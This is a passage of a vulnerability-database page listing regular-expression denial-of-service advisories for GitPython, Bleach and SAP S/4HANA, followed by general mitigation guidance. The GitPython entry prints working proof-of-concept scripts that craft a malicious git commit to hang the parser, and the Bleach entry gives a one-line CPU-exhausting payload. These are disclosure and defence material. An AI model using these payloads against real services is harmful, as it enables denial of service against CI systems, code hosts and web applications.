    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T23:29:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGitPython\u0027s `Actor.name_email_regex` regular expression (`git/util.py`, line 863)\nis vulnerable to catastrophic backtracking (ReDoS \u2014 Regular Expression Denial of\nService). When GitPython parses the `author` or `committer` header of a git commit\nobject that contains a long string with an unterminated `\u003c` (no matching `\u003e`), the\nPython regex engine enters quadratic backtracking, causing complete single-threaded\nCPU exhaustion proportional to the square of the input length.\n\nA single crafted commit object can block any GitPython API call that reads\n`.author` or `.committer` for **over two minutes per invocation**, enabling denial\nof service against CI runners, code-hosting backends, repository-scanning\npipelines, or any service that processes commits from third-party or untrusted\nrepositories.\n\n---\n\n### Details\n\n**Vulnerable file and line:**\n\n`git/util.py`, line 863:\n\n```python\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n```\n\nThis regex is evaluated inside `Actor._from_string()` (line 909) every time\nGitPython resolves a commit\u0027s `.author` or `.committer` property.\n\n**Full call chain \u2014 from public API to vulnerable sink:**\n\n\n\n\ncommit.author # any ordinary GitPython API call\n\u2514\u2500\u2500 git/objects/commit.py:917\nCommit._deserialize()\n\u2514\u2500\u2500 git/objects/util.py:341\nparse_actor_and_date(author_line)\n\u2514\u2500\u2500 git/util.py:909\nActor._from_string(string)\n\u2514\u2500\u2500 Actor.name_email_regex.search(string) \u2190 VULNERABLE\n\n\n\n\n`author_line` is decoded directly from the raw bytes of the git commit object with\n**no length limit, character restriction, or timeout** applied at any point before\nreaching the regex engine. The same chain is triggered by:\n- `commit.author`\n- `commit.committer`\n- `repo.iter_commits()`\n- `repo.blame()`\n- Any web service / CI tool that displays or processes commit metadata\n\n**Why this pattern backtracks catastrophically:**\n\nThe pattern `(.*) \u003c(.*?)\u003e` contains an unbounded greedy group `(.*)` followed by\na literal space and `\u003c`. When the input is a long string that contains `\u003c` but no\nclosing `\u003e`, the regex engine must try every possible split position for the greedy\ngroup \u2014 O(n\u00b2) candidate positions for a string of length n \u2014 each of which then\ndrives the inner lazy group into further sub-match attempts. This is the\nwell-documented \"catastrophic backtracking\" failure mode for this family of\npatterns.\n\n**Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):**\n\n| Author field length (bytes) | Time to resolve `.author` |\n|-----------------------------|--------------------------|\n| 1,000  | 0.0035 s |\n| 5,000  | 0.084 s  |\n| 10,000 | 0.341 s  |\n| 20,000 | 1.525 s  |\n| 40,000 | 5.963 s  |\n| 60,000 | 13.360 s |\n| 80,000 | 23.871 s |\n| **200,000** | **150.488 s** |\n\nEach doubling of input size roughly quadruples processing time (e.g. 40,000 \u2192\n80,000 bytes: 5.96 s \u2192 23.87 s \u2248 4.0\u00d7), confirming O(n\u00b2) growth. Git itself\nimposes **no practical size limit** on author name fields in the object format.\n\n**How the malicious object reaches a victim:**\n\nThe PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git\nloose object written directly into `.git/objects/`. `git cat-file -t \u003csha\u003e` confirms\nit is a valid `commit` type and git\u0027s own read-side tools display it without error.\nOnly git\u0027s write-side tooling (`git commit --author`, `git update-index`,\nexplicit `git fsck`) applies the sanity checks that would reject a malformed author\nline. Delivery paths that bypass those checks include:\n\n- A git server with `receive.fsckObjects = false` (common in self-hosted deployments)\n- A `.git` directory shipped as a tarball, backup, or zip archive\n- A git bundle file\n- Any automated mirror or import tool that operates at the object level\n\n---\n\n### PoC\n\n**Environment used for testing:**\n- GitPython 3.1.59, installed in editable mode from source (no code modifications)\n- Python 3.12.3, git 2.43.0, Ubuntu 24.04\n\n**Script 1 \u2014 craft the malicious repository (`craft_malicious_repo.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a git repository with one commit whose \u0027author\u0027 field is a large\nstring containing an unterminated \u0027\u003c\u0027. Bypasses git\u0027s write-side sanity\nchecks by writing the raw object directly into .git/objects/.\n\nUsage: python3 craft_malicious_repo.py \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\n\"\"\"\nimport hashlib, os, subprocess, sys, zlib\n\ndef run(cmd, cwd):\n    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003ctarget_dir\u003e \u003cpayload_size_bytes\u003e\")\n        sys.exit(1)\n\n    target_dir, payload_size = sys.argv[1], int(sys.argv[2])\n\n    os.makedirs(target_dir, exist_ok=True)\n    run([\"git\", \"init\", \"--quiet\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.email\", \"poc@example.com\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.name\", \"PoC\"], cwd=target_dir)\n\n    with open(os.path.join(target_dir, \"README.txt\"), \"w\") as f:\n        f.write(\"GitPython ReDoS PoC repository\\n\")\n    run([\"git\", \"add\", \"README.txt\"], cwd=target_dir)\n    tree_sha = run([\"git\", \"write-tree\"], cwd=target_dir).stdout.strip()\n\n    malicious_name = \"A\" * payload_size\n    # Key: author field contains a \u0027\u003c\u0027 with no closing \u0027\u003e\u0027\n    author_line    = f\"author {malicious_name} \u003cunterminated 1691999972 -0700\"\n    committer_line = \"committer PoC \u003cpoc@example.com\u003e 1691999972 -0700\"\n    message        = \"ReDoS PoC commit\"\n\n    commit_content = (\n        f\"tree {tree_sha}\\n{author_line}\\n{committer_line}\\n\\n{message}\\n\"\n    ).encode()\n\n    header     = f\"commit {len(commit_content)}\\x00\".encode()\n    store      = header + commit_content\n    sha        = hashlib.sha1(store).hexdigest()\n    compressed = zlib.compress(store)\n\n    objdir = os.path.join(target_dir, \".git\", \"objects\", sha[:2])\n    os.makedirs(objdir, exist_ok=True)\n    with open(os.path.join(objdir, sha[2:]), \"wb\") as f:\n        f.write(compressed)\n\n    run([\"git\", \"update-ref\", \"refs/heads/master\", sha], cwd=target_dir)\n\n    print(f\"Malicious commit sha : {sha}\")\n    print(f\"Payload size         : {payload_size} bytes\")\n    verify = subprocess.run(\n        [\"git\", \"cat-file\", \"-t\", sha],\n        cwd=target_dir, capture_output=True, text=True\n    )\n    print(f\"git cat-file -t confirms: {verify.stdout.strip()}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Script 2 \u2014 trigger the vulnerability (`trigger_redos.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpens the repository with GitPython and times commit.author access,\nwhich triggers Actor._from_string() -\u003e Actor.name_email_regex.search().\n\nUsage: python3 trigger_redos.py \u003crepo_dir\u003e \u003ccommit_sha\u003e\n\"\"\"\nimport sys, time, git\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003crepo_dir\u003e \u003ccommit_sha\u003e\")\n        sys.exit(1)\n\n    repo   = git.Repo(sys.argv[1])\n    commit = repo.commit(sys.argv[2])\n\n    print(\"Accessing commit.author \u2014 triggers Actor._from_string()...\")\n    t0     = time.time()\n    author = commit.author          # \u2190 this single line causes the hang\n    elapsed = time.time() - t0\n\n    print(f\"Author name length : {len(author.name)} chars\")\n    print(f\"Elapsed            : {elapsed:.3f} seconds\")\n    print(\"RESULT: VULNERABLE\" if elapsed \u003e 5 else \"RESULT: not triggered\")\n\nif __name__ == \"__main__\":\n    main()\n```\n**Execution and observed output:**\n\n\n\n\n$ python3 craft_malicious_repo.py /tmp/victim-repo 200000\nMalicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de\nPayload size : 200000 bytes\ngit cat-file -t confirms: commit\n\n$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de\nAccessing commit.author \u2014 triggers Actor._from_string()...\nAuthor name length : 200014 chars\nElapsed : 150.488 seconds\nRESULT: VULNERABLE\n\n\n\n**Docker reproduction (fully isolated environment):**\n\n```bash\ndocker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash\n\n# Inside the container:\napt-get update \u0026\u0026 apt-get install -y git\ngit clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython\npip install -e /work/GitPython\n\npython3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000\n# note the SHA printed, then:\npython3 /work/poc/trigger_redos.py /work/victim-repo \u003cSHA\u003e\n```\n\nThe `python:3.8-bookworm` base image matches the one used in GitPython\u0027s own\n`fuzzing/local-dev-helpers/Dockerfile`.\n\n---\n\n### Impact\n\n**Who is affected:**\n\nAny application that uses GitPython to parse commits from a source it does not\nfully control. High-risk deployments include:\n\n- **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)\n  that clone and inspect third-party pull requests \u2014 one malicious commit in a PR\n  can stall every worker that processes it.\n- **Code-hosting or code-review web services** that render commit author information\n  \u2014 a single crafted push blocks every page render or API response that touches that\n  commit\u0027s metadata.\n- **Security or compliance scanners** that walk repository history across many\n  repositories \u2014 one crafted object in any repository exhausts a scanner worker.\n\n**Severity of impact:**\n\nA 200 KB author field blocks a process for ~150 seconds per single `.author`\naccess. When `iter_commits()` or `blame` are used, every commit in a history\ntraversal can be independently crafted, multiplying the total hang time by the\nnumber of commits processed. There is no confidentiality or integrity impact \u2014\nthis is a pure availability / resource-exhaustion vulnerability.\n\n---\n\n### Suggested Fix\n\nReplace the vulnerable pattern with one that cannot backtrack catastrophically.\nThe minimal, behavior-preserving fix is to exclude `\u003c` and `\u003e` from the name\ngroup, removing the ambiguity that forces O(n\u00b2) backtracking:\n\n```python\n# git/util.py, line 863\n# Before (vulnerable):\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n\n# After (fixed \u2014 identical output for all well-formed input):\nname_email_regex = re.compile(r\"([^\u003c\u003e]*) \u003c([^\u003c\u003e]*)\u003e\")\n```\n\nBecause the name group can no longer itself contain a `\u003c` character, the engine\nhas exactly one candidate position to try when a closing `\u003e` is absent \u2014 and fails\nin O(n) time instead of O(n\u00b2). Legitimate actor strings (`Name \u003cemail\u003e`) never\ncontain `\u003c` or `\u003e` in either field, so this change produces identical results for\nall valid input.\n\nAs defense in depth, independently of the regex fix, bounding the maximum number\nof characters GitPython will attempt to parse in an author/committer line (e.g.\nrejecting strings longer than 4096 bytes before passing them to any regex) would\nfurther limit the blast radius of any future ReDoS class in this parser.",
  "id": "GHSA-g5vv-9gxw-82hx",
  "modified": "2026-09-30T23:29:14Z",
  "published": "2026-09-30T23:29:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex \u2014 commit author/committer field parsing"
}

GHSA-G75F-G53V-794X

Vulnerability from github – Published: 2026-06-16 14:07 – Updated: 2026-06-16 14:07
VLAI
Summary
Bleach linkify(parse_email=True) CPU exhaustion via unbounded email regex scanning
Details

Summary

Bleach 6.3.0 exposes a documented email-linkification path through bleach.linkify(..., parse_email=True). The implementation scans attacker-controlled text with EMAIL_RE.finditer() over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.

Affected Product

  • Package: bleach
  • Ecosystem: pip
  • Affected versions: verified in 6.3.0; exact first affected version not established
  • Patched versions: none known at finalization time
  • Tested version: 6.3.0
  • Audit commit/tag: v6.3.0 / 5546d5dbce60d08ccb99d981778d74044d646d4e
  • PyPI sdist SHA256: 6f3b91b1c0a02bb9a78b5a454c92506aa0fdf197e1d5e114d2e00c6f64306d22

Vulnerability Details

  • CWE: CWE-1333: Inefficient Regular Expression Complexity; related availability impact maps to CWE-400
  • Component: bleach/linkifier.py, build_email_re(), LinkifyFilter.handle_email_addresses()
  • Root cause: handle_email_addresses() calls self.email_re.finditer(text) on attacker-controlled text. EMAIL_RE includes a repeated dot-atom local-part pattern, so non-email strings such as repeated a. segments with no @ force repeated long failing scans.
  • Security boundary violated: user-submitted text processed by a documented safe linkification helper should not allow an attacker to impose superlinear CPU cost through non-email text.
  • Direct impact: per-request CPU exhaustion / denial-of-service risk in applications that enable parse_email=True on attacker-controlled text.
  • Chain impact, if any: one proof run observed an unrelated /health request delayed during a concurrent attack request, but this was not reliable across reviewer retests. Treat cross-request service degradation as environment-dependent supporting evidence, not the primary impact.
  • Severity estimate: Medium / availability-only. The feature is opt-in and deployment body limits/timeouts affect practical severity.

Relevant code path: - bleach/__init__.py:85-125: public linkify(text, ..., parse_email=False) constructs Linker(..., parse_email=parse_email) and calls linker.linkify(text). - bleach/linkifier.py:77-88: EMAIL_RE is compiled from the dot-atom email pattern. - bleach/linkifier.py:292-301: handle_email_addresses() applies self.email_re.finditer(text) to each character token. - bleach/linkifier.py:620-623: character tokens are routed into email handling only when parse_email is true. - docs/goals.rst:30-40: Bleach documents user comments, profile bios, and descriptions as target untrusted text use cases. - docs/linkify.rst:300-305: parse_email=True is the documented option for creating mailto: links.

Attack Preconditions

  • The consuming application enables the documented parse_email=True option, for example bleach.linkify(user_text, parse_email=True) or Linker(parse_email=True).linkify(user_text).
  • The attacker can submit text that reaches that linkification path. Authentication depends on the host application; a public comment form would make this unauthenticated, while account-only text fields require user privileges.
  • The application allows roughly 20-30 KB of text to reach Bleach and lacks a strict timeout or input cap before linkification.
  • No custom bounded email_re is supplied.

Reproduction

Minimal API trigger:

import bleach
payload = ("a." * 15000) + "a"
bleach.linkify(payload, parse_email=True)

The saved HTTP proof uses a local harness with POST /preview calling bleach.linkify(request_body, parse_email=True) and a control endpoint using parse_email=False on the same payload. The exploit sends baseline/control/attack requests over HTTP to 127.0.0.1.

Proof Evidence

The proof ran against Bleach 6.3.0 installed from the audited local checkout in an isolated temporary venv. It used Python 3.12.3 on Linux.

Measured HTTP proof results: - Payload: ("a." * 15000) + "a" (30001 bytes) - Normal baseline /preview mean: 0.001425 seconds - Same 30 KB payload with parse_email=False: 0.048349 seconds - Attack payload with parse_email=True: 8.719818 seconds - Slowdown versus the larger baseline/control mean: 180.35x - Requests sent by proof: 20

Evidence files: poc.py poc_results.json exploit_proof.py exploit_results.json

Scope and Limitations

  • This report does not claim XSS, authentication bypass, data disclosure, remote code execution, persistent crash, or persistent service outage.
  • parse_email=True is not the default. The affected path is a documented opt-in feature.
  • The exact first affected version is not established.
  • Practical impact depends on host application input limits, worker model, request timeout policy, and whether untrusted users can submit text to an email-linkification path.
  • A reviewer reproduced the direct CPU cost but did not reproduce the proof harness’s /health delay. The direct impact claim is therefore limited to per-request CPU exhaustion.
  • Bleach is marked deprecated in README.rst, and SECURITY.md has stale supported-version text, but the package still has a 2025 PyPI release and published Mozilla security reporting routes.
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "bleach"
      },
      "versions": [
        "6.3.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:07:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nBleach 6.3.0 exposes a documented email-linkification path through `bleach.linkify(..., parse_email=True)`. The implementation scans attacker-controlled text with `EMAIL_RE.finditer()` over the full character token and has no length, timeout, or linear prefilter before applying the dot-atom email regex. A non-email payload around 30 KB causes multi-second CPU consumption per request/call, creating a direct availability risk for applications that enable email linkification on user-submitted text.\n\n## Affected Product\n- Package: `bleach`\n- Ecosystem: pip\n- Affected versions: verified in `6.3.0`; exact first affected version not established\n- Patched versions: none known at finalization time\n- Tested version: `6.3.0`\n- Audit commit/tag: `v6.3.0` / `5546d5dbce60d08ccb99d981778d74044d646d4e`\n- PyPI sdist SHA256: `6f3b91b1c0a02bb9a78b5a454c92506aa0fdf197e1d5e114d2e00c6f64306d22`\n\n## Vulnerability Details\n- CWE: CWE-1333: Inefficient Regular Expression Complexity; related availability impact maps to CWE-400\n- Component: `bleach/linkifier.py`, `build_email_re()`, `LinkifyFilter.handle_email_addresses()`\n- Root cause: `handle_email_addresses()` calls `self.email_re.finditer(text)` on attacker-controlled text. `EMAIL_RE` includes a repeated dot-atom local-part pattern, so non-email strings such as repeated `a.` segments with no `@` force repeated long failing scans.\n- Security boundary violated: user-submitted text processed by a documented safe linkification helper should not allow an attacker to impose superlinear CPU cost through non-email text.\n- Direct impact: per-request CPU exhaustion / denial-of-service risk in applications that enable `parse_email=True` on attacker-controlled text.\n- Chain impact, if any: one proof run observed an unrelated `/health` request delayed during a concurrent attack request, but this was not reliable across reviewer retests. Treat cross-request service degradation as environment-dependent supporting evidence, not the primary impact.\n- Severity estimate: Medium / availability-only. The feature is opt-in and deployment body limits/timeouts affect practical severity.\n\nRelevant code path:\n- `bleach/__init__.py:85-125`: public `linkify(text, ..., parse_email=False)` constructs `Linker(..., parse_email=parse_email)` and calls `linker.linkify(text)`.\n- `bleach/linkifier.py:77-88`: `EMAIL_RE` is compiled from the dot-atom email pattern.\n- `bleach/linkifier.py:292-301`: `handle_email_addresses()` applies `self.email_re.finditer(text)` to each character token.\n- `bleach/linkifier.py:620-623`: character tokens are routed into email handling only when `parse_email` is true.\n- `docs/goals.rst:30-40`: Bleach documents user comments, profile bios, and descriptions as target untrusted text use cases.\n- `docs/linkify.rst:300-305`: `parse_email=True` is the documented option for creating `mailto:` links.\n\n## Attack Preconditions\n- The consuming application enables the documented `parse_email=True` option, for example `bleach.linkify(user_text, parse_email=True)` or `Linker(parse_email=True).linkify(user_text)`.\n- The attacker can submit text that reaches that linkification path. Authentication depends on the host application; a public comment form would make this unauthenticated, while account-only text fields require user privileges.\n- The application allows roughly 20-30 KB of text to reach Bleach and lacks a strict timeout or input cap before linkification.\n- No custom bounded `email_re` is supplied.\n\n## Reproduction\nMinimal API trigger:\n\n```python\nimport bleach\npayload = (\"a.\" * 15000) + \"a\"\nbleach.linkify(payload, parse_email=True)\n```\n\nThe saved HTTP proof uses a local harness with `POST /preview` calling `bleach.linkify(request_body, parse_email=True)` and a control endpoint using `parse_email=False` on the same payload. The exploit sends baseline/control/attack requests over HTTP to `127.0.0.1`.\n\n## Proof Evidence\nThe proof ran against Bleach `6.3.0` installed from the audited local checkout in an isolated temporary venv. It used Python `3.12.3` on Linux.\n\nMeasured HTTP proof results:\n- Payload: `(\"a.\" * 15000) + \"a\"` (`30001` bytes)\n- Normal baseline `/preview` mean: `0.001425` seconds\n- Same 30 KB payload with `parse_email=False`: `0.048349` seconds\n- Attack payload with `parse_email=True`: `8.719818` seconds\n- Slowdown versus the larger baseline/control mean: `180.35x`\n- Requests sent by proof: `20`\n\nEvidence files:\n[poc.py](https://github.com/user-attachments/files/27129729/poc.py)\n[poc_results.json](https://github.com/user-attachments/files/27129737/poc_results.json)\n[exploit_proof.py](https://github.com/user-attachments/files/27129751/exploit_proof.py)\n[exploit_results.json](https://github.com/user-attachments/files/27129752/exploit_results.json)\n\n## Scope and Limitations\n- This report does not claim XSS, authentication bypass, data disclosure, remote code execution, persistent crash, or persistent service outage.\n- `parse_email=True` is not the default. The affected path is a documented opt-in feature.\n- The exact first affected version is not established.\n- Practical impact depends on host application input limits, worker model, request timeout policy, and whether untrusted users can submit text to an email-linkification path.\n- A reviewer reproduced the direct CPU cost but did not reproduce the proof harness\u2019s `/health` delay. The direct impact claim is therefore limited to per-request CPU exhaustion.\n- Bleach is marked deprecated in `README.rst`, and `SECURITY.md` has stale supported-version text, but the package still has a 2025 PyPI release and published Mozilla security reporting routes.",
  "id": "GHSA-g75f-g53v-794x",
  "modified": "2026-06-16T14:07:30Z",
  "published": "2026-06-16T14:07:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/bleach/security/advisories/GHSA-g75f-g53v-794x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/bleach"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Bleach linkify(parse_email=True) CPU exhaustion via unbounded email regex scanning"
}

GHSA-G76P-CFX7-WH4J

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32
VLAI
Details

SAP S/4HANA (Private Cloud) uses a third-party component that contains a Regular Expression Denial of Service (ReDoS) vulnerability. An unauthenticated attacker could supply specially crafted input that triggers excessive processing within the affected functionality. Successful exploitation could exhaust system resources and make the service unavailable, resulting in a high impact on availability. There is no impact on confidentiality and integrity.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T01:16:37Z",
    "severity": "HIGH"
  },
  "details": "SAP S/4HANA (Private Cloud) uses a third-party component that contains a Regular Expression Denial of Service (ReDoS) vulnerability. An unauthenticated attacker could supply specially crafted input that triggers excessive processing within the affected functionality. Successful exploitation could exhaust system resources and make the service unavailable, resulting in a high impact on availability. There is no impact on confidentiality and integrity.",
  "id": "GHSA-g76p-cfx7-wh4j",
  "modified": "2026-08-25T03:32:08Z",
  "published": "2026-08-25T03:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66766"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3771065"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list